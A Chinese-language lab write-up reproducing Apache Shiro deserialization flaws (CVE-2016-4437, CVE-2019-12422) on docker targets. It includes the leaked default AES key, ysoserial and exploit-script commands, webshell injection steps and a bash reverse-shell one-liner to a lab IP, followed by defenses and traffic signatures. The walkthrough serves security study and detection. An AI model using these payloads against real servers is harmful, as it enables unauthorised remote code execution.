【漏洞复现】Shiro 反序列化漏洞复现
一、Shiro 框架介绍
1、Shiro 框架简介
Shiro 框架是一个强大且易用的Java安全框架,用来进行身份验证、授权、密码和会话管理。
但如果rememberMe 的AES加密秘钥泄露,就会导致shiro的反序列化漏洞,造成RCE。
Shiro 框架的认证流程是:拿到 rememberMe 的cookie 值–>Base64 解密–>AES解密–>进行反序列化。
2、Shiro 框架判断(指纹识别)
在利用 shiro 漏洞时需要判断应用是否用到了 shiro。在请求包的 Cookie 中为 rememberMe
字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe
字段,说明目标有使用 Shiro 框架,可以进一步测试。
二、Shiro 550反序列化漏洞(CVE-2016-4437)
1、漏洞成因
影响版本:Apache Shiro <=1.2.4
在受影响的 Apache Shiro 版本中使用了硬编码在代码里的AES密钥 kPH+bIxk5D2deZiIxcaaaA==
。
2、环境搭建
使用vulhub 搭建靶场
1 | docker-compose up -d |
3、漏洞复现
用BP抓包,确认是Shiro 框架
我们使用现成的工具进行检测,指定固定的密钥
4、内存马注入
先准备好Shiro 类型的内存马:是经过了序列化和AES加密以及Base64加密
抓包注入
蚁剑连接
三、Shiro 721反序列化漏洞(CVE-2019-12422)
1、漏洞成因
影响版本:1.2.5 <= Apache Shiro <=1.4.1
Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。但是其他解析过程依然一样,也就意味着,如果我们能够得到aes 解密使用的key 的话,依然能够进行反序列化RCE。
在漏洞利用有几条前提:
- 有rememberMe 功能;
- 其中AES 使用 AES-CBC 模式;
- 能获取到正常 Cookie,即用户正常登录的 Cookie 值;
- 密文可控;
2、环境搭建
1 | git clone https://github.com/inspiringz/Shiro-721.git |
如果未能启动成功,可以再执行如下命令
1 | docker run --privileged -p 8080:8080 -it shiro-721 |
将会把容器的执行情况输出到前台,之后访问即可
3、漏洞复现
访问靶机的8080端口,进入登录页面
上方提示了用户名和密码,我们用其中一个进行登录,并勾选Remember Me
,抓包
确认是Shiro 框架,我们依然使用工具,我们不知道aes加密的密钥kay,需要在登录成功之后尝试爆破
之后填入密钥,检测利用链,尝试命令执行,成功获取shell
4、使用ysoserial 工具生成 URLDNS 利用链手工验证
1、生成class
1 | java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" > payload.class |
2、利用项目自带的exp 脚本进行攻击:
1 | #https://github.com/3ndz/Shiro-721 |
3、执行脚本,将class 放置同级目录即可
1 | python2 exp.py http://192.168.5.3:8081/shiro721_war/account </COGnLcSO/3cUooGdYVDkQQNHrfZTNY+k0BCXPOmA9L+l7MRr3ZRYyuzDWZPNTSUFmFlkZWG+HJcecRLkdAMuxa43+i/hynQP7cYrDiulXmfTbuKmL8oz9DO9pmpUaumyCU0V3xfyLsv0+o3uYK/8Tlh9Ns+TMng3lMenVclDk3pjL/tPL/gfVFz50SMZw67WgdbG4mBzq0URLXG6d9yqB469ruPeKty5q3yjSfWDvOxJcR2OpUJg6dauiJNqwQwsu3FrkPmUlEAwZtQ/EpS9+74Ey5YVNuq350U00Df4ckmmHURCdRi/847d2dSHNQ80Wsoe4IseBOXabm6CBs+mcb4PWptM//E7CDaY6/UwTOm5yzK8/KSa+RNSXhHkOx4CH9wOyh8peq8bexGtoI1CzkqK54QwFkOzCu/bE9VPDU7ylZil3Xlc5oTDy79BHAZXfOgbUcgSSoV6OoOVG1DC6o6ptRYlFT0KBNjwS+ivFtbbA7kxf2Fq9K4tqxC2QI3> payload.class |
4、最终运行成功会给我们一个 rememberMe cookie 去打
5、成功拿到回显
6、注意点
有一个注意的小点就是我们要把Cookie 中的JSESSIONID 字段去掉,不然不会走rememberMe 认证
四、上线不出网Shiro反序列化
Shiro反序列化检测脚本:https://github.com/zhzyker/shiro-1.2.4-rce
1 | python3 shiro-1.2.4_rce.py http://1.1.1.1:8080 |
之后执行反弹shell,用nc监听
1 | bash -i >& /dev/tcp/192.168.109.9/8889 0>&1 |
五、防御措施
- 及时升级shiro版本,不再使用固定的密钥加密。
- 在应用程序上部署防火墙、加强身份验证等措施以提高安全性
- 如果程序不需要RememberMe功能,则完全可以禁用它
六、shrio550和721的区别
- 主要区别在于Shiro550 的AES 加密的key使用已知密钥
- Shiro721的AES 加密的key为系统随机生成,需要利用登录后的rememberMe 去爆破正确的key值。利用有效的RememberMe Cookie作为Padding Oracle Attack 的前缀,再去构造反序列化攻击。
- Shiro 在 1.4.2 版本之前,AES 加密模式为 CBC。在 1.4.2 版本后,Shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况
七、Shiro 攻击流量特征
- 请求包Cookie的rememberMe中会存在AES+base64加密的一串java反序列化代码。
- 响应头存在
Set-Cookie:rememberMe=deleteMe
- 响应包中存在base64加密数据,该数据可作为攻击成功的判定条件。